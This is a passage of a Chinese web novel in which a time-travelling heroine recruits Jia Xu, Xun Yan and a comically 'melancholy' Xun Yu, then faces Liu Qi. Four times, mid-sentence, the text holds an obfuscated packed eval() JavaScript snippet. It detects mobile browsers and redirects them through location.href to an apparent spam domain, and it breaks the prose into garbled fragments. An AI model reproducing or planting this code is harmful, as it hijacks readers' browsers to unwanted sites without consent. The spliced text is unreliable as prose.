“这个,是管吕布的,我给他下了毒药,你定时给他吃,他要是不听话,你就用这个管他。我相信你有方法的。” 貂蝉接过瓷瓶,没有多问,只是将瓷瓶妥帖地收入袖中,随后紧紧拉着袁悦的手,不愿松开。 “真的要走了吗?” “嗯。” 袁悦点了点头,反手握住她的手,轻轻拍了拍她的手背。 “这边,就靠着你了,这长安城……我相信你可以打理好,控制好吕布,我要去寻求真相了。” 貂蝉咬着下唇,眼圈微微泛红。她什么都没说,只是又将袁悦的手握紧了几分。 离别的情绪在沉默中发酵。 袁悦看着她这副依依不舍的模样,心里也不是滋味,突然又想起了什么,脸上露出一抹略带歉意的笑容。 “对了,我的名字叫袁悦。当时第一次认识没说真名,抱歉啦。” “袁…悦…” 貂蝉轻声重复着这个名字,她郑重的看着袁悦。 “我记住了。” 袁悦笑了笑,终于还是下定决心,轻轻抽回了自己的手。 她转身,大步走向早已备好的马匹,翻身上马,一旁的贾诩也跟着上马,她最后回头看了一眼。 阳光下,貂蝉站在长安城外。 袁悦对着她挥了挥手,随即双腿一夹马腹,不再回头。 8. 荀彧:只是忧郁 官道上,暖阳照耀着二人。 贾诩骑在马上,与袁悦并行,他侧过头,看着自家这位新上任的主公。 “主公,这是要去往何处?” 按照行程,他们本该一路向南,直奔五陵郡上任。 可走了没两天,袁悦就指挥着队伍拐了个弯,朝着东边去了。 “嗯?” 袁悦转过头,脸上勾起笑容。 “当然是去找人了。” 她回想起离开长安前跟着吕布一起面见刘协的情景。 小皇帝刘协看袁悦,一副欲言又止的模样,那小表情,让她真怕他突然想起来了。 还好,直到最后,他也只是依依不舍地让她早去早回,答应了她赴任五陵郡的沅南县令的请求。 而吕布,更是夸张。他不仅拨了一队骑兵给她当手下还特意排了亲信看守他们先去往五陵郡,还硬塞给她一大箱金银,袁悦拿着钱的时候,都忍不住有点心虚。 不过,宁教我负天下人,休教天下人负我。① 曹老板的名言,用在这时很正确,谁让吕布天天一阵一阵的。 回忆结束,袁悦冲着贾诩眨了眨眼睛 “咱们未来可是很忙的。” 贾诩略一思索,便明白了过来。 “这方向……看来主公是想去颍川,寻访荀氏一族?” “不错,不错!” 袁悦满意地打了个响指,“文和果然懂我!不愧是当过太后的人!” 贾诩的嘴角轻微地抽动了一下,明智地忽略了后半句话。 “主公有此雄心,文和佩服。” 他斟酌着词句。 “只是,颍川荀氏,乃海内望族。荀氏八龙,名满天下。如今的荀彧、荀攸叔侄,更是士人之中的翘楚。我等此去,一无引荐,二无名望,主公不过是新上任的五陵县令,恐怕,连门都进不去。” 他说的都是大实话。在这个讲究门第出身的时代,袁悦现在的身份在那些士族面前,根本不够看。 若是不隐瞒身份用袁氏嫡女的身份到可能见上一面,可她又不愿意暴露。 “哎呀,安啦安啦。” 袁悦满不在乎地摆了摆手。 “天人自有妙计。” 她当然有妙计。 她的妙计就是她那个金光闪闪的【嫡中嫡】buff。 荀家是什么?顶级士族!荀彧荀攸是什么?嫡子!这好感不库库的刷。 当然,这话她没法跟贾诩解释。 她只能清了清嗓子,摆出一副高深莫测的模样。 “文和啊,你要知道,人与人之间,是讲究一个气场的。 有些人,天生就该是一路人。我们和荀家叔侄,就是那种人。他们见到我,一定会有一种相见恨晚的冲动!” 贾诩:“……” 他决定暂时放弃和自家主公探讨气场这个过于玄妙的问题。 “主公说的是。” 他顺从地点了点头,换了个话题。 “主公。我曾听闻过这荀氏公子荀彧,只是最近似乎……也有些不同了。” “哦?” 袁悦闻言来了兴趣。 “怎么个不同法?” 贾诩的表情变得有些一言难尽。 “他似乎,是个忧郁的人?” “忧郁?” 袁悦面色复杂。 荀彧的人设是忧郁男? 她脑海里瞬间闪过一些乱七八糟的同人文设定。 不会吧,这个世界难道是用曹操终其一生忘不掉的,是荀彧那一双忧郁的眼睛②为主题写的同人文? 这都什么跟什么啊! 贾诩看着袁悦无奈地叹了口气。 “具体的,我也无从得知。只是传闻如此。” “好,我知道了。” 袁悦深吸一口气。 千万别降智别降智,不然我大老远跑来就没意义了! …… 几日后,两人终于抵达了颍川地界。 街道上人来人往,空气中却飘荡着一股若有若无的淡香,前方的人群聚集在一起。 她和贾诩对视一眼,都在对方的脸上看到了同款的困惑。 两人牵着马,朝着人群聚集的地方看了过去。 远远望去,是一处茶馆,里层外三层地围满了人。 围着的人一个个伸长了脖子,痴痴地望着同一个方向。 “哇——是忧郁王子荀彧!快看他的眼睛,多么的忧郁,多么的深邃!不知道这世间,有谁能拂去他眉间的哀愁……” “文若公子今日又比昨日更忧郁了,我的心好痛……” “若是能为公子分担一丝一毫的忧愁,我愿折寿十年!” 袁悦听着周围那些肉麻的议论,浑身的鸡皮疙瘩掉了一地 忧郁王子?这还是古代吗?这对吗。 袁悦和贾诩顺着众人的目光望去,只见茶楼二楼的栏杆旁,一个身着白衣的男子正凭栏而立。 他身形清瘦,面容俊美,一手执杯,一手轻按着眉心,微微蹙着眉。四十五度角仰望天空,眼神忧郁,姿态优雅。 袁悦:“……这是荀彧。?” 贾诩:“……” 两人再次对视,表情都像是刚吞下了一只活苍蝇。 “走。” 袁悦拉了拉贾诩的袖子,果断转身。 “此地不宜久留” 她决定了,这个荀彧,暂时不能接触,聊了降智,还是先去拜访一下他的兄长荀衍,探探情况再说。 然后门都门进就被赶出来了。 二人决定晚上再探 是夜,月黑风高。 荀府的围墙外,一道黑影悄无声息地翻了进来。 袁悦拍了拍手上的灰,对自己的武功满意的不得了。 但是,新的问题来了。 她迷路了。 荀府这么大,荀衍到底住哪个院子? 她总不能一间一间地找过去吧? 袁悦摸着下巴,眼珠一转,一个绝妙的主意涌上心头。 她闻了闻空气中的味道,身形一晃,便朝着一个地方潜了过去。 ——茅厕。 任你是什么高门大户的公子,总有三急的时候吧? 她巡视了一圈,排除了经常有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288105|198461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下人来的茅厕,最终定下在一处东南方的茅厕蹲守。 她找了个视野绝佳的草丛蹲了下来,开始守株待兔。 只要看到有哪个穿着华服看起来像主子的人过来,她就上去堵他! 不得不说,这个法子虽然不怎么雅观,但效率是真的高。 大概蹲了半个时辰,一个脚步声由远及近。 她从草丛的缝隙里望出去,只见一个身着锦袍的青年男子提着灯笼,独自一人走进了不远处的茅厕。 就是你了! 袁悦眼睛一亮,耐心地等着。 片刻之后,那青年从茅厕里走了出来,刚走到院中的小径上,一道黑影便“唰”地一下从旁边窜了出来,稳稳地落在了他面前。 “!” 那青年被这突如其来的变故吓了一跳,手里的灯笼都晃了晃。 他下意识地就想张口呼救,但当他看清眼前这个拦住自己去路的黑影时,到嘴边的话又咽了回去。 那是一个看起来比自己小上好几岁的少年,虽蒙着面,但她总感觉对方有一股说不出的亲切感,让他莫名地就放下了戒备。 “您可否是荀休若公子?” 袁悦见他没有立刻喊人,心里便有了底是嫡中嫡起作用了,开口问道。 荀衍看着眼前这个奇怪的少年,脸上露出了无奈的表情。 “我是……姑娘你……” 他已经从对方的身形判断出了性别。 “在下袁悦!听闻荀休若公子大名,一直希望能见上一面。今日得见,真是不负盛名,风采斐然啊!” 荀衍意外地挑了挑眉,他打量着袁悦,脸上的表情更加古怪。 “居然不是来找文若的……” 他小声嘀咕了一句。 “嗯?” 袁悦捕捉到了关键词。 “经常有人翻墙进来,找文若公子吗?” 一提起这个,荀衍变得头痛起来,他揉了揉自己的太阳穴,长叹一口气。 “唉,何止是经常。” 他一脸的生无可恋。 “自从家弟不知为何,突然变得忧郁之后,我们家这墙头就没清净过。 白天有人在门口堵着,晚上有人翻墙进来送情诗、送手帕,甚至还有人想偷他穿过的衣服……真是,太奇怪了。” 袁悦眼睛一亮。 他也觉得奇怪!马萨卡,他也是正常人?! 她立刻凑上前一步,压低了声音。 “公子是否……近日总觉得,有哪里不对劲?” 荀衍的动作一顿,他猛地抬起头,直直地看向袁悦。 “不错。”他点了点头,同样压低了声音,带着一丝不确定和期盼,“难道你也……” 袁悦上前想要拉住他的手,想了想他刚从茅厕出来又把手收了回来。 “不错,不错,终于让我见到正常人了!” 荀衍注意到,尴尬的笑了笑但也没在意,他如今更在意终于有了和他一样的正常人。 “姑娘,不妨移步,你我二人细细交谈?” “兄长,又是何人来了?” 一道忧郁的声音传来。 9. 袁悦:那你倒立呗 荀衍叹了口气,无奈的看过去。 “文若,是我。” 袁悦顺着他的视线望过去,庭院深处的一棵树下,坐着一个人。 那人一身白衣,身形清瘦,旁边放着一杯尚在冒着热气的茶,四十五度仰望着天空。 袁悦与身旁的荀衍对视一眼,从对方那张写满了家门不幸的脸上,读懂了一切。 “家弟这样……已经许久了。” 荀衍歉意地笑了笑。 “没事。” 袁悦了然地点头,表示理解与同情。 “实不相瞒,家父也……” 二人叹气。 荀衍看向荀彧,清了清嗓子。 “文若,这位是我的客人。” 树下的荀彧闻言,总算有了点反应。 他对着二人的点了一下头便又继续忧郁的看着天空。 行吧。 袁悦耸了耸肩,迈开步子,径直朝着那棵树走了过去。 荀衍想拦,却又不知道该从何拦起,只能眼睁睁地看着她走到了自家弟弟的旁边。 然后,在荀衍惊愕的注视下,袁悦双臂一撑,腰腹发力,利落地倒立。 正沉浸在自己世界里的荀彧,被这突如其来的变故给吓了一跳。 他看向袁悦,正对上一双亮晶晶的眼睛。 那个倒立着的少年,还冲着他俏皮地眨了眨右眼。 “这样,眼泪就不会掉下来了哦。” 清脆的话语,伴随着少年明媚的笑脸,进入荀彧的心中。 他呆呆地看着眼前的少年,下意识地握紧了手中的茶杯。 袁悦见他那副傻掉的模样,满意地弯了弯眼睛,随即双臂一屈,一个漂亮的翻身,稳稳地落回了地面。 她拍了拍手上沾到的些许尘土,对着还处于宕机状态的荀衍挥了挥手。 “文若公子,你继续吧,我们不打扰了。” 说完,她便转过身,迈着轻快的步伐,朝着荀衍走了过去。 “走啦,休若兄。” 荀衍这才如梦初醒,他看了一眼还愣在树下的弟弟,又看了一眼已经旁边的袁悦,叹了口气,带她离开。 只是,他下意识地与袁悦隔开了一小段距离。 因为现在觉得,这个袁悦,好像也不是什么正常人。 “你……你方才那是做什么?” 走出一段路后,荀衍终于还是没忍住,开口问了出来。 “开导他啊。” 袁悦理所当然地回答。 “忧郁了就想哭,倒立了就哭不出来了,准确的说根本没力气哭了,有本事你倒立给我哭一个看看” 荀衍沉默。 这世界还有正常人吗?! …… 二人移步至会客室,相对而坐。 荀衍端正地坐着。 他现在很纠结,眼前这个夜闯荀府,突然倒立安慰荀彧的姑娘,行事作风处处透着一股难以言喻的诡异。 可偏偏,她又是自己遇到的第一个能清晰认识到这个世界不对劲的人。 他不敢轻易开口,生怕自己判断失误,对方只是另一种形式的不正常。 袁悦也很尴尬。 她低着头恨不得在地上抠出三室一厅。 刚才在荀彧面前突然倒立,现在回想起来,实在是太抽象了。怎么看都像个图谋不轨的变态。 沉默在两人之间蔓延,直到袁悦觉得再不说话,自己就要在这尴尬的气氛里窒息了。 “咳咳。” 她清了清嗓子,强行打破了僵局。 “那个,休若公子,你也看出来了,这里的人都……有点问题。” 她组织了一下语言,继续说道。 “不久前,我曾见过袁本初那几人,都不太适合托付啊,如果你和他们一样就算了,但现在,你是正常的,跟随他们会很痛苦的,荀彧已经算是轻的了。” 荀衍抬起头,看着袁悦那张写满了我很正常,请相信我的脸,沉吟片刻。 “姑娘说什么,我便信什么,这未免太过草率了。” 袁悦陷入沉默。 上一世作为一个大学生社交能力约等于零,这一世也没怎么社交,说再多都可能越描越黑。 她思考了片刻,放弃了所有迂回的策略,决定力大砖飞。 她直视着荀衍。 “咱们现在面对着面,你觉得,你在我面前能活多久?” 荀衍:“……” 他脸上的从容第一次出现了裂痕。 这不对吧?剧本不是这么写的啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288106|198461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按照正常的流程,不应该是我婉拒,你再三请求,我再次婉退,你痛陈天下大势、晓之以理、动之以情,最后我被你的诚意打动,大呼主公,然后你拉着我的手,我们促膝长谈,共谱一曲君臣相知的美好友谊之歌吗? 怎么直接就快进到暴力威胁了?! 荀衍的内心在疯狂吐槽,面上却依旧维持着最后一丝风度。 他看着袁悦腰间那柄的短剑和他能轻松躲开侍卫翻墙进入宅邸的行为,非常从心地给出了答案。 “怕是……活不过一息。” “很好。” 袁悦满意地点了点头,身子向后靠去。 “我今儿来,就是准备着,要么带人走,要么带人脑袋走。” 荀衍的嘴角抽动了一下,他挤出一个略显僵硬的笑容。 “姑娘真是,豪迈。” “特殊时期,特殊方式。” 袁悦挥了挥手,脸上也露出一丝无奈。 “唉,谁曾想我曾经也是个温文尔雅的绝世好姑娘。现在,唉……” 她看向荀衍。 “你面对荀彧的时候,不想一巴掌扇过去吗?” 荀衍的身体瞬间僵住了。 他沉默了。 他确实有。 而且不止一次。 每一次看到自家那个弟弟忧郁的四十五度角仰望天空,嘴里念着不知所云的忧伤诗句,引来一群男男女女的围观和尖叫时,他都有一种冲上去把他打醒的冲动。 袁悦看着他轻轻笑了笑。 “我和你说,荀彧在我见到的人里,虽然也猎奇。但算是病轻的了,你面对他都忍受不了,未来面对其他人,甚至你的主公都这样,你能怎么办。” 荀衍沉默。 他真不敢赌了,如果哪天主公也想荀彧一样,或者因为他的正常惹怒了主公,颍州荀氏该怎么办啊! 他看着袁悦,虽然她也有些不正常,但比起荀彧一类的正常多了。 而且现在。唉,他也引狼入室躲也躲不掉了! 他整理了一下自己的衣袍,站起身,对着袁悦郑重地行了一礼。 “如此,那我便跟着姑娘去吧!” “我也要去。” 一个清冷的带着几分忧郁的男声,幽幽地从门外响起。 10. 坏了,成阴郁男主心尖宠了 一个清冷的带着几分忧郁的男声,幽幽地从门外响起。 “我也要去。” 袁悦和荀衍的动作齐齐一顿,一同转向门口。 只见荀彧穿着一身白衣正静静地站在那里。 他的脸色通红,像是刚做完什么剧烈的运动。 他不会真的倒立去了吧……然后觉得有用,就觉得我救赎了他? 袁悦尴尬的看着荀彧。 荀衍已经站了起来,他几步走到门口,脸上带着几分急切。 “文若?你怎么突然来了?你之前不是说,要去寻那……” 荀彧没有理会自己的兄长,他的视线越过荀衍的肩膀,直直地落在袁悦身上。 那张泛红的脸上,表情是前所未有的认真。 “她……不一样。” 这四个字轻飘飘的,却让荀衍的心猛地向下一沉。 他试图挽救一下,转过身,对着袁悦挤出一个有些勉强的笑容。 “这……小弟他……我们还是不要太草率……” “不。” 荀彧打断了他,迈步走进屋内。 他停在袁悦面前,郑重的看着他。 “这辈子,我只跟着她。” 袁悦看着荀彧那张写满我已认定你的脸,尴尬得恨不得当场在地上抠出一座颍川城来。 啥意思?难道是因为我刚才在那边让他忧郁的时候就倒立安慰到他了?所以现在我成他的老攻①了?曹老板对不住了啊哈哈哈哈。 另一边,荀衍的心情已经不能用不佳来形容了。 他原本的计划是,自己跟着这位看起来有些门道但根基尚浅的袁姑娘。 而自家弟弟荀彧,则可以去投奔他心仪的刚出名的曹操,而这根基深厚的袁绍那边也早已有人加入。 如此一来,无论哪边将来得了势,荀家都能得以保全。 可现在,全乱了。 原来的荀彧,或许能明白他这番苦心和他配合,可现在的…… 到底是谁!把他的好弟弟变成这样的!! 荀衍在心里无声地咆哮。 他也曾怀疑过弟弟是不是被人掉了包顶替,可除了这奇怪的行事风格,无论是学识、文采还是记忆,都与从前别无二致,让他根本无从下手。 他暗自咬了咬牙,但脸上依旧维持着得体的笑容,看向袁悦。 “这……终究得看袁姑娘的意思。袁姑娘,您……” “好呀!” 没等荀衍把话说完,袁悦已经笑眯眯地站了起来,欣然点头。 “兄弟共侍一主,也不乏是一桩美谈呀!” 她这一句话,彻底击碎了荀衍最后的希望。 他看着袁悦脸上那毫不掩饰的欣喜,忍不住捂住胸口后退几步。 完了。 全完了。我的计划!! “既然如此,那便这么说定了!” 袁悦一拍手站了起来。 “你们修整几天,三日我们就动身!文和还在客栈等我呢!明天带他来拜访你们。” 她走到荀衍身边,亲热地拍了拍他的肩膀。 “休若公子,以后我们就是自己人了!你放心,跟着我,有肉吃!” 荀衍扯了扯嘴角,露出了一个比哭还难看的笑容。 “……那便,多谢主公了。” 他现在只希望,这位看起来就不怎么靠谱的新主公,真的能像她说的那样带他们吃上肉。 而不是带着他一起向着深渊狂奔而去。 …… 翌日,天光正好。 袁悦领着贾诩,再次登门拜访荀府。 前来迎接的是荀衍,他眼下一片青黑,整个人都写满了憔悴,显然是昨晚辗转反侧,一夜未眠。 他看到袁悦,扯出笑容,将人迎了进去。 才刚踏入会客室,一道白色的身影便飘了过来。 荀彧不知何时已经等在了那里,他一见到袁悦,视线便牢牢地锁在袁悦身上。 袁悦被他看得浑身不自在,只能干笑着移开视线不看他。 这边贾诩从袁悦身后走了出来,对着荀衍荀彧微微拱手。 “在下……” 紧盯着袁悦的荀彧这才看向贾诩,随后面色一变。 他几步上前,绕过自己的兄长,在贾诩面前三步远的地方停下,然后扑通一声,双膝跪地,行了一个大礼,把贾诩惊的后退好几部。 “太后?!您,您为何会在此处?!” 贾诩的脸黑了下去。 “噗。” 袁悦一个没忍住,笑了出来,贾诩谴责的看向她。 她赶紧捂住嘴,转头看向一旁已经彻底石化的荀衍。 “一会儿跟你解释。” 荀衍木然地点了点头,他觉得自己的脑子已经不够用了。 这边,贾诩深吸一口气,又缓缓吐出,他看着跪倒在地的荀彧,从牙缝里挤出几个字。 “呵呵,起来吧。唉,如今国贼董卓虽在袁姑娘帮助下除去,但,家贼难防,咳,我,也是不得已,才偷偷出宫,相助袁姑娘,共扶汉室,匡扶正派。” 荀彧闻言,抬起头,眼中含泪,他站起身,转向袁悦。 那原本就温和的视线,此刻更是柔得快要滴出水来。 “原来如此,原来如此,文若,文若心悦诚服!” “是的是的。” 袁悦压下尴尬勾起唇角,笑眯眯地应着,顺手还拍了拍荀彧的肩膀,一副我看好你哦。的表情。 “文若,你,你先去外面等一下。” 荀衍终于从巨大的冲击中回过神来,他扶着额头,他上前一步,将自家弟弟拉到一边。 “我与袁姑娘,还有,这位太后,有要事相商。” 荀彧虽然不解,但还是顺从地点了点头,临走前,又用那种饱含深情的眼神看了袁悦一眼,这才退了出去。 房门关上,隔绝了外界的一切。 ……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288107|198461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>荀衍的会客室内,气氛一度十分尴尬。 荀衍看向一直黑着脸的贾诩。 “太后…?” 荀衍试探性地开口。 贾诩的脸又黑了三分。 袁悦见状,和他对视了一眼,后者认命般地叹了口气。 “实不相瞒,” 贾诩对着荀衍拱了拱手,表情沉痛。 “在下本是朝中一普通官员,谁知一日醒来,便被困于深宫,强行扮演……何太后。万幸最后被主公所救。” 袁悦在一旁点头,接过话茬,开始向荀衍解释。 “对,他这个情况…和文若公子还不太一样。但也差不多” 她清了清嗓子,试图用最简单易懂的语言来描述这件离谱的事情。 “文若公子被不知道的什么东西变得忧郁,之后他需要别人捧着他所以旁边多出来很多人也被改变之后去捧着他,他们有没有意识我也不太清楚,反正目前没法解除。” 她顿了顿。 “最关键的是,这个效果,应该是只对荀彧那样的人起作用,在他们眼里,这就是太后,而在咱们眼里,就是普通人。” 荀衍听得一愣一愣的,信息量太大,荀衍感觉自己的太阳穴在突突直跳。 他扶着桌子坐下,试图消化这一切。 “那,那文若他和那些普通人还有救吗?可以像这位公子一样恢复正常吗?” 荀衍的声音里带着一丝不易察觉的颤抖。 袁悦摊了摊手。 “不知道,贾诩能恢复正常我觉得他也是类似这普通人的情况,他察觉到异常就是因为他不是自己改变了而是被抓去当了别人。 也许哪天这个就变了,他的人也会跟着变吧。但至少现在,他就是这个样子了。” 荀衍沉默了,他端起桌上的茶水,一饮而尽。 还会被抓去扮演其他人吗,这未免太可怕了。 就在这时,门外传来了荀彧的叩门声。 “兄长?袁姑娘?太后?你们商议完了吗?我给太后和袁姑娘准备了一些点心。” 贾诩的脸瞬间又黑成了锅底。 袁悦强忍着笑意,清了清嗓子,对着门外喊道。 “马上就好!文若公子有心了!” 她转过头,看着一脸生无可恋的荀衍,拍了拍他的肩膀。 “安啦,这就是现状。休若公子,至少我们这些正常的人还聚在一起可以互相帮助,总有一天会帮助其他人恢复正常的。再说了,不妨先利用他们的不正常。” 荀衍扯了扯嘴角,露出了一个比哭还难看的笑容。 他算是明白了,凭目前这些不正常的人的智商,和他们相争确实和玩一样 他看着袁悦那平静的表情,又看了看旁边那个因为太后两个词而陷入自我封闭的贾诩,最终长长地叹了一口气。 罢了。 不正常就不正常吧。 至少,不用再一个人面对这个疯狂的世界了。 11. 登登恶毒女配登场 沅南县的城中,人头攒动。 “哇!快看!是忧郁王子荀彧!” “哦!文若公子那双盛满哀愁的眼睛,我感觉我的心都要碎了。” “他只是从马车上下来,为什么连这个动作都充满了破碎感。” 被人群簇拥在中央的袁悦袁悦面无表情地侧过头。 她左边,是脸色比锅底还黑的贾诩。 她右边,是面如死灰的荀衍。 很好,大家都很尴尬,那我就放心了。 袁悦在心里默默地比了个耶,随即又叹了口气在提前来迎接的护卫的维护自己艰难地往前挤。 不是,这沅南县离颍川十万八千里远,荀彧这忧郁王子人设是怎么传这么远的?难道有人全国巡回推广的? 贾诩他紧紧跟在袁悦身后,一言不发。 袁悦回头看他小声说。 “你能不能大声来一句太后在此谁敢放肆让他们都起来啊。” 然后获得了贾诩愤怒的一瞥,袁悦讪笑着回头。 好不容易从狂热的粉丝群中杀出一条血路,一行人终于抵达了吕布提前安排亲信为他们安排好的府邸。 府门口,一个身着甲胄的军官早已等候多时,正是吕布派来交接的亲信。 他看到众人,连忙上前行礼。 “姑娘您终于到了。” 袁悦几人向他回礼。 “几日前,有一位姑娘前来,指名要找文若公子。” 那军官将众人迎进门后,压低了些许音量对袁悦禀报。 “在下看她来者不善,便没有告知姑娘您的行踪。但,今日入城这般动静她肯定会有所耳闻,您还是小心为上。” 袁悦听着,若有所思。 不是吧,怎么还有恶毒女配,原型不是曹荀吗,哦不对,现在看应该是荀曹,毕竟一般会被人追求的是攻,又拿女生当play的一环,我鄙视你这个世界。 她面上不动声色,只是温和地点了点头,随手从自己的腕上褪下一只成色不错的玉镯,塞到了那军官手里。 “多谢提醒,我会多加注意的。这点小意思,不成敬意,还望将军收下,回去替我向吕将军问好。” 军官自然的接过手镯,恭敬地对着袁悦一抱拳,便带着自己的人告辞离去。 大门吱呀一声关上,庭院里瞬间安静了下来。 “主公,” 荀衍的表情比刚才还要难看。 “这,这可如何是好?文若他……” “安啦安啦。” 袁悦满不在乎地摆了摆手,她走到院中的石凳上坐下,给自己倒了杯茶。 “兵来将挡,水来土掩。我倒要看看,是何方神圣,能对我们家忧郁王子如此执着。” 贾诩在一旁默默地坐下,一副只要我不说话,麻烦就找不到我的姿态。 “兄长不必为我担忧。” 一个忧伤的男声插了进来。 荀彧不知何时已经走到了庭院中的一棵柳树下。 他伸出手,轻轻拂过垂下的柳枝,侧对着众人,留下一个孤寂而落寞的背影。 “我早已将此身,此心,都托付于主公。纵使前方是万丈深渊,只要是与她一同坠落,那深渊之中,也定会开出世间最美的花。” 袁悦:“……” 贾诩:“……” 荀衍:“……” 现场再次陷入了一片死寂。 最终,还是袁悦最先从这阵肉麻的冲击中缓了过来。 她走过去,重重地拍了拍荀彧的肩膀。 “说得好!文若,你的这份心意,我收到了!” 袁悦看着荀彧。沉思了一会儿。 按剧情来说,荀彧肯定认识那个人吧,找他打听打听。 “文若,你可知道那人是谁?” 她试探的开口询问。 荀彧转过头,那双总是盛满了哀愁的眸子。在看到袁悦时,瞬间化为一汪春水,含情脉脉。 “自然,她是刘表的女儿,名叫刘琦,一向嚣张跋扈,我不愿和她交流,她便一直缠着我,没想到追到这来了。主公无须担忧,我会告诉她,让她离开的。” 他那副含情脉脉的表情,让袁悦的鸡皮疙瘩掉了一地。 她尴尬地移开视线,不敢与他对视。但理性还是在思考。 “别,别让她走。” 袁悦赶紧摆手。 “既然是刘表的女儿,你,你让她来见我。” 万一他女儿可以拉拢呢!不行的话,就下个毒吧。 “我的事,怎能让主公为我担忧。” 荀彧蹙起好看的眉头,明显又多想了什么,脸上写满了的自责。 “没事,我乐意替你解决,快去吧。” 袁悦尴尬地笑了笑,对着他挥了挥手。 荀彧深深地看了她一眼,点了点头,转身,迈着忧郁的步伐,离开了庭院。 袁悦长长地舒了一口气,感觉空气都清新了不少。 她转过身,看向还坐在石凳上的另外两位。 贾诩正端着茶杯,小口地抿着, 而荀衍,则是一种已经佛了的样子。 “该干活了,各位。” 袁悦一屁股坐到他们对面,给自己也倒了杯茶,一饮而尽。 “既然得了这沅南县,我们就要好生把他发展好。” 荀衍的眼皮跳了跳,他看着袁悦,欲言又止。 “主公,”贾诩终于放下了茶杯,他抬起眼,看向袁悦。 “刘景升之女前来,恐怕来者不善。主公打算如何应对?” “应对?” 袁悦咧嘴一笑。 “为什么要应对?这是好事啊! 我们只要略微用一下美男计,把他女儿拉拢到手,这岂不美哉。后续发展有什么不顺的地方都可以找她帮忙。” 袁悦端着茶杯,露出了一个不怀好意的笑容。 荀衍的看着袁悦。 “当真可以…?” “当然可以。” 袁悦满不在乎地摆了摆手。 毕竟她之前可是靠着贾诩这个太后在系统那里刷了不少分,都快把债还完了,她完全可以再进点毒药给那个人用。 想着,她将两人从座位上赶了起来。 “你们俩,现在就去帮我看看现在这个县里的官员都什么水平,还有这些豪强都什么水平,百姓生活什么样,去呀去呀。” 贾诩和荀衍对视一眼,都在对方的脸上看到了深深的无奈。 他们对着袁悦拱了拱手,一同离开了庭院。 送走两人,袁悦喝了口水,闭上眼睛,开始盘算着一会儿该如何应对那位传说中的刘姑娘。 就在这时,一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288108|198461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久违的电子音在她脑海里欢快地响起。 [恭喜宿主儿正式入宫,奖励积分1000~之前欠下来的积分刚好还清~] 袁悦眉毛一挑。 [小统统你又出bug了吗?] [没有没有,主系统考虑到您情况特殊,说官场如宫场,都一样哒~] 袁悦了然地点了点头,这逻辑,很强大,感恩系统。 [嘿嘿,主儿加油呀,没想到主儿这么几天就把债还完了,不愧是嫡女中的嫡女,贵子中贵子呀!简直就是大贵之子。] [够了够了,别奉承我了,我还有事,晚上再和我说话。] 袁悦捂着额头,挥了挥手让系统赶紧走。 [嗻~] 系统的声音刚消失。庭院外就传来一道跋扈的声音。 “荀彧!你说你一生所托就是这个人吗?!” 话音未落,府邸的大门就被人从外面粗暴地推开。 一个身着华丽衣裙的少女,在一群家丁护卫的簇拥下,气势汹汹地闯了进来。 那少女约莫十六七岁,生得明艳动人,但此刻的表情却不太好看。 她的目光像利剑一扫过整个庭院,最后死死地钉在了袁悦身上。 袁悦眨了眨眼,看着这位不速之客,心里默默地给这出场方式打了个差评。 太俗套了,简直就是恶毒女配的标准模板。 没等袁悦开口,那边的荀彧已经动了。 他向前一步走到袁悦身边,将袁悦不着痕迹地护在身后。 他那张俊美的脸上,此刻写满了不悦与疏离。 “刘小姐,我与你并无瓜葛,还请自重。” “自重?” 刘琦指着被荀彧护在身后的袁悦,拔高了音调。 “你为了这么一个不知道从哪里冒出来的野丫头,让我自重?荀文若,你睁大眼睛看清楚,她算个什么东西!一个穷酸县令,要身份没身份,她哪里配得上你!” 荀彧却不在意地摇了摇头,他转回头,专注地凝视着袁悦。 “她才不是什么穷酸县令,她是我的主公!” 袁悦脸上的肌肉抽动了一下,努力维持着一个得体的笑容。 我的天,大哥你别这样,我尴尬癌都要犯了,别看我了我求你。 “刘姑娘,冷静,冷静,一切都好说。” 袁悦从他身后探出半个身子避开他的视线。 